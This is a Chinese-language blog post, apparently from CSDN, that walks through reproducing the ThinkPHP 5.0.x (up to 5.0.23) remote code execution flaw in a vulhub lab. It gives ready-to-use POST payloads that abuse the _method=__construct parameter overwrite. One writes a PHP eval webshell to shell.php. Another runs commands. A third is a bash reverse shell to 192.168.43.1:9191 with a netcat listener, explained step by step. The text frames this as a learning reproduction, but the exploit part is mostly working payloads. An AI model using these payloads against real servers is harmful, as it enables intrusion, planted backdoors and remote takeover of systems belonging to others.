Thinkphp框架漏洞--->5.0.23 RCE

1.Thinkphp

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化 企业应用开发而诞生的。

2.漏洞原理及成因

该漏洞出现的原因在于 ThinkPHP5框架底层对控制器名过滤不严 ,从而让攻击者可以通过url调用到ThinkPHP框 架内部的敏感函数,进而导致getshell漏洞  
对于适用的范围:     Thinkphp 5.0.x<= 5.0.23  

3.漏洞复现

首先要找到一个有漏洞的页面!!!

然后就可以用工具去fuzz亿下!!嘻嘻

 可以看见是能成功fuzz出来的!!!

于是就可以加以利用了,我们这里直接讲两种利用的方法

1.RCE(Remote Code Execute)

远程代码执行,那么我们肯定是要上poc啦,在上poc之前,我们要知道,这是一个因为参数覆盖导致的RCE!!!

那么我们需要去抓包!!!

 先将get包改成post

然后再去修改参数(首先确定是Windows版本的)可以看见页面上是返回了信息的

那么我们去ping的话应该也是可以的!!!

2.Getshell !!!

1.Windows版本

代码执行是你的谎言,getshell才是你的真相,直接上poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+^<?php+@eval($_POST['cmd']);+?^>+>>shell.php

可以看见是能够成功的getshell的!!! 

2.Linux版本

我们也完全可以这样做,但是呢,可以讲一个新的方法

我就直接用vulhub的docker环境了

然后我们要来讲这样的一个命令

_method=__construct&filter[]=system&method=get&get[]=pwd

这个可以用来验证!!存在漏洞!!!!

然后讲一种新getshell的方法

●/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

下面来解释一下这个命令

  1. /bin/bash 是要执行的 shell 程序的路径,-c 选项告诉 Bash shell 要执行后面的命令字符串。
  2. bash -i 是启动一个交互式的shell !!
  3. >& /dev/tcp/192.168.43.1/9191   将标准输出和标准错误重定向到指定的 TCP 连接 
  4. 0>&1 将标准输入重定向到标准输出,使得输入和输出都通过 TCP 连接

这意味着命令试图在目标主机上建立一个 TCP 连接,并将该连接与一个交互式的 Bash shell 关联起来,以便攻击者可以通过该连接执行命令并与目标系统进行交互。

然后,我们在在主机上开启监听,我这里用netcat!!(别问我端口为什么这么有特性

 编码之后发送即可!!

当然了,感觉这个shell还是没有直接写的webshell好用呢

对了还要补充一下那个编码的网址   在线url网址编码、解码器-BeJSON.comicon-default.png?t=N7T8https://www.bejson.com/enc/urlencode/

那么以上就是thinkphp的框架漏洞的基本原理以及复现啦

  • 31
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值